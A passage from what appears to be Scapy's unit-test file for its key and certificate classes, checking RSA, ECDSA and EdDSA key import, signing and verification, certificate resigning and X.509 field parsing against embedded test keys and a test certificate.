x_pubNum.n == y_pubNum.n and x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163 = PubKey class : Checking public exponent value x_pubNum.e == y_pubNum.e and x_pubNum.e == 65537 = PubKey class : Importing PEM-encoded ECDSA public key z = PubKey(""" -----BEGIN PUBLIC KEY----- MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4 Jd5qtmDF2Zu+xrwrBRT0HBnPweDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END PUBLIC KEY----- """) type(z) is PubKeyECDSA = PubKey class : Checking curve z.pubkey.curve.name == "secp256k1" = PubKey class : Checking point value z.pubkey.public_numbers().x == 104748656174769496952370005421566518252704263000192720134585149244759951661467 = PubKeyRSA class : Generate without modulus t = PubKeyRSA() t.fill_and_store(modulus=None, pubExp=65537, modulusLen=1024) assert t.pubkey.key_size == 1024 assert t.pubkey.public_numbers().e == 65537 ########### PrivKey class ############################################### + PrivKey class tests = PrivKey class : Importing PEM-encoded RSA private key x = PrivKey(""" -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAmFdqP+nTEZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5 QReDbb2L5/HLA9pPmIeQLSq/BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0 H3AxRAjh0edX+q3yilvYJ4W9/NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bC KIvMWnambh9DRUyjrBBZo5dA1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0Gy XeXOJUE2u7CiMu3M77BM6ZLLTcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJv FaY22k05LgLuyqc59vFiB3Toldz8+AbMNjvzAwIDAQABAoIBAH3KeJZL2hhI/1GX NMaU/PfDgFkgmYbxMA8JKusnm/SFjxAwBGnGI6UjBXpBgpQs2Nqm3ZseF9u8hmCK vGiCEX2GesCo2mSfmSQxD6RBrMTuQ99UXpxzBIscFnM/Zrs8lPBARGzmF2nI3qPx Xtex4ABX5o0Cd4NfZlZjpj96skUoO8+bd3I4OPUFYFFFuv81LoSQ6Hew0a8xtJXt KkDp9h1jTGGUOc189WACNoBLH0MGeVoSUfc1++RcC3cypUZ8fNP1OO6GBfv06f5o XES4ZbxGYpa+nCfNwb6V2gWbkvaYm7aFn0KWGNZXS1P3OcWv6IWdOmg2CI7MMBLJ 0LyWVCECgYEAyMJYw195mvHl8VyxJ3HkxeQaaozWL4qhNQ0Kaw+mzD+jYdkbHb3a BYghsgEDZjnyOVblC7I+4smvAZJLWJaf6sZ5HAw3zmj1ibCkXx7deoRc/QVcOikl 3dE/ymO0KGJNiGzJZmxbRS3hTokmVPuxSWW4p5oSiMupFHKa18Uv8DECgYEAwkJ7 iTOUL6b4e3lQuHQnJbsiQpd+P/bsIPP7kaaHObewfHpfOOtIdtN4asxVFf/PgW5u WmBllqAHZYR14DEYIdL+hdLrdvk5nYQ3YfhOnp+haHUPCdEiXrRZuGXjmMA4V0hL 3HPF5ZM8H80fLnN8Pgn2rIC7CZQ46y4PnoV1nXMCgYBBwCUCF8rkDEWa/ximKo8a oNJmAypC98xEa7j1x3KBgnYoHcrbusok9ajTe7F5UZEbZnItmnsuG4/Nm/RBV1OY uNgBb573YzjHl6q93IX9EkzCMXc7NS7JrzaNOopOj6OFAtwTR3m89oHMDu8W9jfi KgaIHdXkJ4+AuugrstE4gQKBgFK0d1/8g7SeA+Cdz84YNaqMt5NeaDPXbsTA23Qx UBU0rYDxoKTdFybv9a6SfA83sCLM31K/A8FTNJL2CDGA9WNBL3fOSs2GYg88AVBG pUJHeDK+0748OcPUSPaG+pVIETSn5RRgffq16r0nWYUvSdAn8cuTqw3y+yC1pZS6 AU8dAoGBAL5QCi0dTWKN3kf3cXaCAnYiWe4Qg2S+SgLE+F1U4Xws2rqAuSvIiuT5 i5+Mqk9ZCGdoReVbAovJFoRqe7Fj9yWM+b1awGjL0bOTtnqx0iljob6uFyhpl1xg W3a3ICJ/ZYLvkgb4IBEteOwWpp37fX57vzhW8EmUV2UX7ve1uNRI -----END RSA PRIVATE KEY----- """) x_privNum = x.key.private_numbers() x_pubNum = x.pubkey.public_numbers() type(x) is PrivKeyRSA = PrivKey class : Checking public attributes assert x_pubNum.n == 19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163 x_pubNum.e == 65537 = PrivKey class : Checking private attributes assert x_privNum.p == 140977881300857803928857666115326329496639762170623218602431133528876162476487960230341078724702018316260690172014674492782486113504117653531825010840338251572887403113276393351318549036549656895326851872473595350667293402676143426484331639796163189182788306480699144107905869179435145810212051656274284113969 assert x_privNum.q == 136413798668820291889092636919077529673097927884427227010121877374504825870002258140616512268521246045642663981036167305976907058413796938050224182519965099316625879807962173794483933183111515251808827349718943344770056106787713032506379905031673992574818291891535689493330517205396872699985860522390496583027 assert x_privNum.dmp1 == 46171616708754015342920807261537213121074749458020000367465429453038710215532257783908950878847126373502288079285334594398328912526548076894076506899568491565992572446455658740752572386903609191774044411412991906964352741123956581870694330173563737928488765282233340389888026245745090096745219902501964298369 assert x_privNum.dmq1 == 58077388505079936284685944662039782610415160654764308528562806086690474868010482729442634318267235411531220690585030443434512729356878742778542733733189895801341155353491318998637269079682889033003797865508917973141494201620317820971253064836562060222814287812344611566640341960495346782352037479526674026269 x_privNum.d == 15879630313397508329451198152673380989865598204237760057319927734227125481903063742175442230739018051313441697936698689753842471306305671266572085925009572141819112648211571007521954312641597446020984266846581125287547514750428503480880603089110687015181510081018160579576523796170439894692640171752302225125980423560965987469457505107324833137678663960560798216976668670722016960863268272661588745006387723814962668678285659376534048525020951633874488845649968990679414325096323920666486328886913648207836459784281744709948801682209478580185160477801656666089536527545026197569990716720623647770979759861119273292833 = PrivKey class : Importing PEM-encoded ECDSA private key y = PrivKey(""" -----BEGIN EC PRIVATE KEY----- MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP weDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END EC PRIVATE KEY----- """) type(y) is PrivKeyECDSA = PrivKey class : Checking public attributes assert y.key.curve.name == "secp256k1" y.key.public_key().public_numbers().y == 86290575637772818452062569410092503179882738810918951913926481113065456425840 = PrivKey class : Checking private attributes y.key.private_numbers().private_value == 90719786431263082134670936670180839782031078050773732489701961692235185651857 = PrivKeyECDSA sign & verify ~ crypto_advanced a = PrivKeyECDSA() a.fill_and_store() msg = b"Scapy test message" data = a.sign(msg) assert a.verify(msg, data) assert not a.verify(b"Hello", data) = PubKeyECDSA verify ~ crypto_advanced assert isinstance(a.pubkey, PubKeyECDSA) b = PubKeyECDSA(cryptography_obj=a.pubkey.pubkey) assert b.verify(msg, data) assert not b.verify(b"Hello", data) = PrivKey class : Importing DER-encoded RSA private key a = PrivKeyRSA(b'0\x82\x04\xa3\x02\x01\x00\x02\x82\x01\x01\x00\x98Wj?\xe9\xd3\x11\x9b\xa4KIK?\xec\xa3\xd6\x03H\x9a\xc1\x08\x7f\xb3\xf6\xc9$\xee\x9d\xc7\x98\xc7\t&\xe1Q9A\x17\x83m\xbd\x8b\xe7\xf1\xcb\x03\xdaO\x98\x87\x90-*\xbf\x06\x03\xb5\x99\xe3\x9cl\xe4\x89\xd9\x85GCo\x0cC\x9e\xbe\xf0*\xdb\xea}\xbc\x8b\'\x17\xe2\x1at\x1fp1D\x08\xe1\xd1\xe7W\xfa\xad\xf2\x8a[\xd8\'\x85\xbd\xfc\xd9\xc8o\xfc\x00g\x04\xb4\xa0\x98\x9f\xfe\xd4\xe4T^\xfb\x1f&\xc0|\x97^\xe4J\x9b\xa7\xe6\xc2(\x8b\xccZv\xa6n\x1fCEL\xa3\xac\x10Y\xa3\x97@\xd6\x8d\xf6\xce\x9b\x85\x06\xb2]#\xc7fR\x9c=\x82\xd7\xf4\x17@Z\xf2Q\x99\x9b\xc5*sA\xb2]\xe5\xce%A6\xbb\xb0\xa22\xed\xcc\xef\xb0L\xe9\x92\xcbM\xca0\xe7\xe6\xd0"i&L\xbdR\x1a\x1c\xf0~)\xcc\x13W\xba\xa7q\xe6\xff\xfaC\x8e\xe2o\x15\xa66\xdaM9.\x02\xee\xca\xa79\xf6\xf1b\x07t\xe8\x95\xdc\xfc\xf8\x06\xcc6;\xf3\x03\x02\x03\x01\x00\x01\x02\x82\x01\x00}\xcax\x96K\xda\x18H\xffQ\x974\xc6\x94\xfc\xf7\xc3\x80Y \x99\x86\xf10\x0f\t*\xeb\'\x9b\xf4\x85\x8f\x100\x04i\xc6#\xa5#\x05zA\x82\x94,\xd8\xda\xa6\xdd\x9b\x1e\x17\xdb\xbc\x86`\x8a\xbch\x82\x11}\x86z\xc0\xa8\xdad\x9f\x99$1\x0f\xa4A\xac\xc4\xeeC\xdfT^\x9cs\x04\x8b\x1c\x16s?f\xbb<\x94\xf0@Dl\xe6\x17i\xc8\xde\xa3\xf1^\xd7\xb1\xe0\x00W\xe6\x8d\x02w\x83_fVc\xa6?z\xb2E(;\xcf\x9bwr88\xf5\x05`QE\xba\xff5.\x84\x90\xe8w\xb0\xd1\xaf1\xb4\x95\xed*@\xe9\xf6\x1dcLa\x949\xcd|\xf5`\x026\x80K\x1fC\x06yZ\x12Q\xf75\xfb\xe4\\\x0bw2\xa5F||\xd3\xf58\xee\x86\x05\xfb\xf4\xe9\xfeh\\D\xb8e\xbcFb\x96\xbe\x9c\'\xcd\xc1\xbe\x95\xda\x05\x9b\x92\xf6\x98\x9b\xb6\x85\x9fB\x96\x18\xd6WKS\xf79\xc5\xaf\xe8\x85\x9d:h6\x08\x8e\xcc0\x12\xc9\xd0\xbc\x96T!\x02\x81\x81\x00\xc8\xc2X\xc3_y\x9a\xf1\xe5\xf1\\\xb1\'q\xe4\xc5\xe4\x1aj\x8c\xd6/\x8a\xa15\r\nk\x0f\xa6\xcc?\xa3a\xd9\x1b\x1d\xbd\xda\x05\x88!\xb2\x01\x03f9\xf29V\xe5\x0b\xb2>\xe2\xc9\xaf\x01\x92KX\x96\x9f\xea\xc6y\x1c\x0c7\xceh\xf5\x89\xb0\xa4_\x1e\xddz\x84\\\xfd\x05\\:)%\xdd\xd1?\xcac\xb4(bM\x88l\xc9fl[E-\xe1N\x89&T\xfb\xb1Ie\xb8\xa7\x9a\x12\x88\xcb\xa9\x14r\x9a\xd7\xc5/\xf01\x02\x81\x81\x00\xc2B{\x893\x94/\xa6\xf8{yP\xb8t\'%\xbb"B\x97~?\xf6\xec \xf3\xfb\x91\xa6\x879\xb7\xb0|z_8\xebHv\xd3xj\xccU\x15\xff\xcf\x81nnZ`e\x96\xa0\x07e\x84u\xe01\x18!\xd2\xfe\x85\xd2\xebv\xf99\x9d\x847a\xf8N\x9e\x9f\xa1hu\x0f\t\xd1"^\xb4Y\xb8e\xe3\x98\xc08WHK\xdcs\xc5\xe5\x93<\x1f\xcd\x1f.s|>\t\xf6\xac\x80\xbb\t\x948\xeb.\x0f\x9e\x85u\x9ds\x02\x81\x80A\xc0%\x02\x17\xca\xe4\x0cE\x9a\xff\x18\xa6*\x8f\x1a\xa0\xd2f\x03*B\xf7\xccDk\xb8\xf5\xc7r\x81\x82v(\x1d\xca\xdb\xba\xca$\xf5\xa8\xd3{\xb1yQ\x91\x1bfr-\x9a{.\x1b\x8f\xcd\x9b\xf4AWS\x98\xb8\xd8\x01o\x9e\xf7c8\xc7\x97\xaa\xbd\xdc\x85\xfd\x12L\xc21w;5.\xc9\xaf6\x8d:\x8aN\x8f\xa3\x85\x02\xdc\x13Gy\xbc\xf6\x81\xcc\x0e\xef\x16\xf67\xe2*\x06\x88\x1d\xd5\xe4\'\x8f\x80\xba\xe8+\xb2\xd18\x81\x02\x81\x80R\xb4w_\xfc\x83\xb4\x9e\x03\xe0\x9d\xcf\xce\x185\xaa\x8c\xb7\x93^h3\xd7n\xc4\xc0\xdbt1P\x154\xad\x80\xf1\xa0\xa4\xdd\x17&\xef\xf5\xae\x92|\x0f7\xb0"\xcc\xdfR\xbf\x03\xc1S4\x92\xf6\x081\x80\xf5cA/w\xceJ\xcd\x86b\x0f<\x01PF\xa5BGx2\xbe\xd3\xbe<9\xc3\xd4H\xf6\x86\xfa\x95H\x114\xa7\xe5\x14`}\xfa\xb5\xea\xbd\'Y\x85/I\xd0\'\xf1\xcb\x93\xab\r\xf2\xfb \xb5\xa5\x94\xba\x01O\x1d\x02\x81\x81\x00\xbeP\n-\x1dMb\x8d\xdeG\xf7qv\x82\x02v"Y\xee\x10\x83d\xbeJ\x02\xc4\xf8]T\xe1|,\xda\xba\x80\xb9+\xc8\x8a\xe4\xf9\x8b\x9f\x8c\xaaOY\x08ghE\xe5[\x02\x8b\xc9\x16\x84j{\xb1c\xf7%\x8c\xf9\xbdZ\xc0h\xcb\xd1\xb3\x93\xb6z\xb1\xd2)c\xa1\xbe\xae\x17(i\x97\\`[v\xb7 "\x7fe\x82\xef\x92\x06\xf8 \x11-x\xec\x16\xa6\x9d\xfb}~{\xbf8V\xf0I\x94We\x17\xee\xf7\xb5\xb8\xd4H') a_privNum = a.key.private_numbers() a_pubNum = a.pubkey.public_numbers() assert x_pubNum.n == x_pubNum.n assert x_pubNum.e == x_pubNum.e assert x_privNum.p == a_privNum.p assert x_privNum.q == a_privNum.q assert x_privNum.dmp1 == a_privNum.dmp1 assert x_privNum.dmq1 == a_privNum.dmq1 assert x_privNum.d == a_privNum.d = PrivKey class: Importing PEM-encoded EdDSA private key y = PrivKey(""" -----BEGIN PRIVATE KEY----- MC4CAQAwBQYDK2VwBCIEIGu36oadjA6raCmwtImfAWI/DSCENM/uQCsUaClVoUTZ -----END PRIVATE KEY----- """) + PrivKey/Pubkey test signatures = PrivKey class : sign tbs cert pkey_sign = PrivKey(""" -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZ Y42Kf/axHYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc 02ZqQng5HyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeO ZMJJ+dQigeDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvj pc/ms6q7vfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4 fFlC6iexBDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABAoIBAHcXEe8w0AOloJ5n P7hjLcvusi96BzfoxSi4kM4HTA+84KRgoqw1uUf0giT1eCxHx3Uylk52okr2B55n 70HnAVt9XEANho4qKW9Tis6iwd1l4RxA+ftkoyrePauT1BQKFgTJY8QTGAOU5zCM UdHIAPYYXX8dihxwm3SRnSf7xb/GSRkj5sMr0ioiBOZ91fwzbtOEbVXE58DyPNJm w/tBCFbibpr4iCU/6US8OyCxR/X4heRyKCcANXlHyE/eUO6TY8J2RaKbSQi+c3/y Y11ypSboyM3cGJ/URS5wRd0oQMQMANck4w+MlNU5jxsfN9wF32HWII8wq/6n3hHR M+H+3YECgYEA79nc8BLzFPrzuJud9JvCFEh0pNb0gLRb/MvIsaVUT7ac8/89tfvQ 6qxWgP81ldJ7S+d/uh80CKg0lVwaxF4sQ6yNn/cvebW8tCCm0RkD8q3R9kxOd3Q/ kLNeeBS/gPzh2xOmVuTE0ruv7ovYowU8WfJG2z20lv7WNsrN/Jm526kCgYEA4xH+ EBVqoPYxzKoa0LNxSPfVOBO7wT19pS5Ny7yjI9oy724cNXn39H5KaCHC3ZnR0mII 0znf7cbtbFHLSkR2MNzy1MC1VhIxFQ5yHLRCjZcKkjd+gZuJp0tCgY/r2dNYsBCR 7W1vMz/wNsbufkOhi/DqC0Ru7onFbouGBdpID8kCgYEAjamr6NAIarfeA4dGQBdP BhPVcRbUyr+8JQ9ntiTkK0C8axCyLi5RMooffYk+6QKseCR/ODr9zK8sf5sq5BiL JF1iOL0SeVxx3CH85TtVLZykikh/f+ZVNO38OghnI5Q5AeAVOvVbmuvn+Yj3pzGM d8O1PgCwDQ7vDuWxzCQvtiECgYAGWA9YFbEX9CjqBeqf4BOPLVVorqx1NqmW/tcv lQKd0s/Pfq0NFW5HB2w+woq2NED3dsO2WwyVkRQ7DYH3fjgrH1EtfoDSecmjQ/cO ND8Tw5+I/EHtjxHmeaTPB91YBZ6ZtKzPDFqp/ORSM3agUnVl+oIfdHcA9Rpt/zns We/feQKBgGimvdIrurKPTrV49ltAKdkHmglpYeCaDr6aZKwWMcsrLmTZ6a4uRPFF TdK+rCyGyjmibTVRjdg5+7KXshSlBleNR3v+AySAxzpjwySVhTfRirCogHRFHrnK kXqy5xUkg11ETv6v91n3u5NVBlXVN4iwFRGSKsecw0qxSgKjbP4n -----END RSA PRIVATE KEY----- """) c_tosign = Cert(""" -----BEGIN CERTIFICATE----- MIIC/TCCAeWgAwIBAgIJALkQBZa7rCRFMA0GCSqGSIb3DQEBBQUAMBUxEzARBgNV BAMMCnNlY2Rldi5vcmcwHhcNMTgwMjI3MTY1NjIyWhcNMjgwMjI1MTY1NjIyWjAV MRMwEQYDVQQDDApzZWNkZXYub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA1L8KacejlbFJ18bvAz5/W9mF+0GglJs6qyv8pAPPiX1mWaLZY42Kf/ax HYrxUPXEqitRG3VkOy1HONAZhl90rY0jVUyYps94om4S98NECbY3eiVc02ZqQng5 HyzBYJQeTh+EYrDaxPUXcVXjthmrt/6vbUHI1Kgk/gok8IBFMSzilxeOZMJJ+dQi geDiaJGwHb3U5KzOm+hFb/IbwjdXJm3CG/58bCQp0rp6RD2qI/D6Xtvjpc/ms6q7 vfBVpquSLeEIt4Jq2XC9RKGR7TGHaVe8vmU5rb/Y36ReYCw5+fMJqcP4fFlC6iex BDhgy1sqV0o0tu4TzJodn8n3SFResQIDAQABo1AwTjAdBgNVHQ4EFgQUf98kGOpM CVBFdHxFb8DaL6tPe+8wHwYDVR0jBBgwFoAUf98kGOpMCVBFdHxFb8DaL6tPe+8w DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAmw0lTyEVH8YfytbVS9AW rTJ1wWhDGf+9jHHEjX/OIq5ii0Ks38WyybhD7cMQNfkZCgIjrutrLHN/m/wn9aDx y9vuubWvrcbqhur82YZbVnlvEiqEEyY/ULqCaW2X7UC2K/2NAy14oF6bClLX8LBq 3G/lc6GUOToN6i4OuKeB9xxvJaBxsVIdnUW9IqesHatqV4yIhH1/flhqWM47LjHP a/uIGboyhl8p5bt3aVbXFwm/NeqsOVPDcQsBdWGldCN6loLE7b4eJDhjHbsuR2C3 aomWcyGW1mRxNJUI0GQ5EHB5Vvy4mcxKG1DMYxG/rGf/EHk+xPJXpITIugbispbm uA== -----END CERTIFICATE----- """) # tbs_signed's signature computed using sha256 by default (while signature algorithm is sha1 in c_tosign) tbs_signed = pkey_sign.signTBSCert(c_tosign.tbsCertificate) assert raw(tbs_signed.signatureValue) == b"BH\xdb@>\x82\x08b\xbc\xaf\x04%_\xeaV\xf5_\xa8\xf4\xf3\xd1\x0f\x86\xbd\x1b\xe2U\xfb\xf5/\rN\xc2\r\xbc\xa0Hn\xed\xb7\x18\xb2\xb3\xa5\x08m9\x9fY\xa6\xb32\xcd:\xd7\xab\xac\x8c\xcf@\xbb\x08Gt2\xb7\x93\x95\x92\x17\xa7j\x99\xa7)\xab\xbc\x07HP\xca\x00M$\xfb.\xb9\xb8\xac%i\x8c\xa2+\xe7ny!\xa1\xd2l\x0f>j\xd6\xb0\x9e\xcat)+\xbc\x16'\x9d\x1e\x80\x89\x01.\x9dS\xbb\xa0-\xb8\x0c\xe9\xe9:a\xbe\x14p\xd1\xbb\xf0I\xa2\x8fio`2\x1b7\xb8]\t3\xced`\x86\x97\x01\x82t\xd0\xc3c%\xa7\xda\\[]9\xfa\xba\r\x83\x8b\r\xa2(\x87\xe87C\xb7\\\x11\x163\x8e\xbf\xe2\x80\x7f\xf2\x93\xa4\x04w\xddG\x88\x1e#\xa6l\x15\xa1\xc6\xda\x1f\xd4\xb4$T\xa1\xd0\xe9\xd5t\xc4\xe4q\xbe\xa2\xd2\xba\x1b!/\x1dK\x17}\xc6.\xba\x81;\x00ft\x8du)\x15\n\t\x08\x1b\xb2Ol\xe1\x94g\xc8\xc0\xd6>" = PrivKey class : resign cert # Keep the correct cert signature but set a dummy value to make sure signature is recomputed correct_sha1_sig = c_tosign.signatureValue c_tosign.x509Cert.signatureValue.val = 512*'0' c_resigned = pkey_sign.resignCert(c_tosign) assert pkey_sign.verifyCert(c_resigned) assert raw(c_resigned.signatureValue) == correct_sha1_sig ########### Keys crypto tests ####################################### + PubKey/PrivKey classes crypto tests = PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash m = "Testing our PKCS #1 legacy methods" # ignore this string s = x.sign(m, t="pkcs", h="md5-sha1") assert s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4" x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen)) x_pub.verify(m, s, t="pkcs", h="md5-sha1") = PrivKey/PubKey classes : Signing/Verifying with MD5_SHA1 hash with legacy support m = "Testing our PKCS #1 legacy methods" s = x._legacy_sign_md5_sha1(m) assert s == b"\x0cm\x8a\x8f\xae`o\xcdC=\xfea\xf4\xff\xf0i\xfe\xa3!\xfd\xa5=*\x99?\x08!\x03A~\xa3-B\xe8\xca\xaf\xb4H|\xa3\x98\xe9\xd5U\xfdL\xb1\x9c\xd8\xb2{\xa1/\xfcr\x8c\xa7\xd3\xa9%\xde\x13\xa8\xf6\xc6<\xc7\xdb\xe3\xa62\xeb\xe9?\xe5by\xc2\x9e\xad\xec\x92:\x14\xd96\xa8\xc0+\xea8\'{=\x91$\xdf\xed\xe1+eF8\x9fI\x1f\xa1\xcb4s\xd1#\xdf\xa11\x88o\x050i Hg\x0690\xe6\xe8?\\<:k\x94\x82\x91\x0f\x06\xc7>ZQ\xc2\xcdn\xdb\xf4\x9d\x7f!\xa9>\xe8\xea\xb3\xd83]\x8d\x90\xd4\xa0b\xe6\xe6$d[\xe4\xb4 |W\xb2t\x8c\xb2\xd5>>+\xf1\xa6W\'\xaf\xc2CU\x82\x13\xc4\x0b\xc4vD*\xc3\xef\xa6s\nQ\xe6\rS@B\xd2\xa4V\xdc\xd1D\x7f\x00\xaa\xac\xac\x96i\xf1kg*\xe9*\x90a@\xc8uDy\x16\xe2\x03\xd1\x9fa\xe2s\xdb\xees\xa4\x8cna\xba\xdaE\x006&\xa4" x_pub = PubKey((x._pubExp, x._modulus, x._modulusLen)) x_pub._legacy_verify_md5_sha1(m, s) ########### Cert class ############################################## + Cert class tests = Cert class : Importing PEM-encoded X.509 Certificate x = Cert(""" -----BEGIN CERTIFICATE----- MIIFEjCCA/qgAwIBAgIJALRecEPnCQtxMA0GCSqGSIb3DQEBBQUAMIG2MQswCQYD VQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlzMRcwFQYDVQQK Ew5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBOIFNlcnZpY2Vz MSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRlMScwJQYJKoZI hvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnAwHhcNMDYwNzEzMDczODU5 WhcNMjYwMzMwMDczODU5WjCBtjELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlz MQ4wDAYDVQQHEwVQYXJpczEXMBUGA1UEChMOTXVzaHJvb20gQ29ycC4xHjAcBgNV BAsTFU11c2hyb29tIFZQTiBTZXJ2aWNlczElMCMGA1UEAxMcSUtFdjIgWC41MDkg VGVzdCBjZXJ0aWZpY2F0ZTEnMCUGCSqGSIb3DQEJARYYaWtldjItdGVzdEBtdXNo cm9vbS5jb3JwMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmFdqP+nT EZukS0lLP+yj1gNImsEIf7P2ySTunceYxwkm4VE5QReDbb2L5/HLA9pPmIeQLSq/ BgO1meOcbOSJ2YVHQ28MQ56+8Crb6n28iycX4hp0H3AxRAjh0edX+q3yilvYJ4W9 /NnIb/wAZwS0oJif/tTkVF77HybAfJde5Eqbp+bCKIvMWnambh9DRUyjrBBZo5dA 1o32zpuFBrJdI8dmUpw9gtf0F0Ba8lGZm8Uqc0GyXeXOJUE2u7CiMu3M77BM6ZLL Tcow5+bQImkmTL1SGhzwfinME1e6p3Hm//pDjuJvFaY22k05LgLuyqc59vFiB3To ldz8+AbMNjvzAwIDAQABo4IBHzCCARswHQYDVR0OBBYEFPPYTt6Q9+Zd0s4zzVxW jG+XFDFLMIHrBgNVHSMEgeMwgeCAFPPYTt6Q9+Zd0s4zzVxWjG+XFDFLoYG8pIG5 MIG2MQswCQYDVQQGEwJGUjEOMAwGA1UECBMFUGFyaXMxDjAMBgNVBAcTBVBhcmlz MRcwFQYDVQQKEw5NdXNocm9vbSBDb3JwLjEeMBwGA1UECxMVTXVzaHJvb20gVlBO IFNlcnZpY2VzMSUwIwYDVQQDExxJS0V2MiBYLjUwOSBUZXN0IGNlcnRpZmljYXRl MScwJQYJKoZIhvcNAQkBFhhpa2V2Mi10ZXN0QG11c2hyb29tLmNvcnCCCQC0XnBD 5wkLcTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQA2zt0BvXofiVvH MWlftZCstQaawej1SmxrAfDB4NUM24NsG+UZI88XA5XM6QolmfyKnNromMLC1+6C aFxjq3jC/qdS7ifalFLQVo7ik/te0z6Olo0RkBNgyagWPX2LR5kHe9RvSDuoPIsb SHMmJA98AZwatbvEhmzMINJNUoHVzhPeHZnIaBgUBg02XULk/ElidO51Rf3gh8dR /kgFQSQT687vs1x9TWD00z0Q2bs2UF3Ob3+NYkEGEo5F9RePQm0mY94CT2xs6WpH o060Fo7fVpAFktMWx1vpu+wsEbQAhgGqV0fCR2QwKDIbTrPW/p9HJtJDYVjYdAFx r3s7V77y -----END CERTIFICATE----- """) = Cert class : Checking version x.version == 3 = Cert class : Checking certificate serial number extraction x.serial == 0xB45E7043E7090B71 = Cert class : Checking signature algorithm x.sigAlg == 'sha1-with-rsa-signature' = Cert class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking subject extraction in basic format (/C=FR ...) x.subject_str == '/C=FR/ST=Paris/L=Paris/O=Mushroom Corp./OU=Mushroom VPN Services/CN=IKEv2 X.509 Test certificate/emailAddress=ikev2-test@mushroom.corp' = Cert class : Checking start date extraction in simple and tuple formats assert x.notBefore_str_simple == '07/13/06' x.notBefore == (2006, 7, 13, 7, 38, 59, 3, 194, -1) = Cert class : Checking end date extraction in simple and tuple formats assert x.notAfter_str_simple == '03/30/26' x.notAfter == (2026, 3, 30, 7, 38, 59, 0, 89, -1) = Cert class : test remainingDays assert abs(x.remainingDays("02/12/11")) > 5000 assert abs(x.remainingDays("Feb 12 10:00:00 2011 Paris, Madrid")) > 1 = Cert class : Checking RSA public key assert type(x.pubkey) is PubKeyRSA x_pubNum = x.pubkey.pubkey.public_numbers() assert x_pubNum.n == 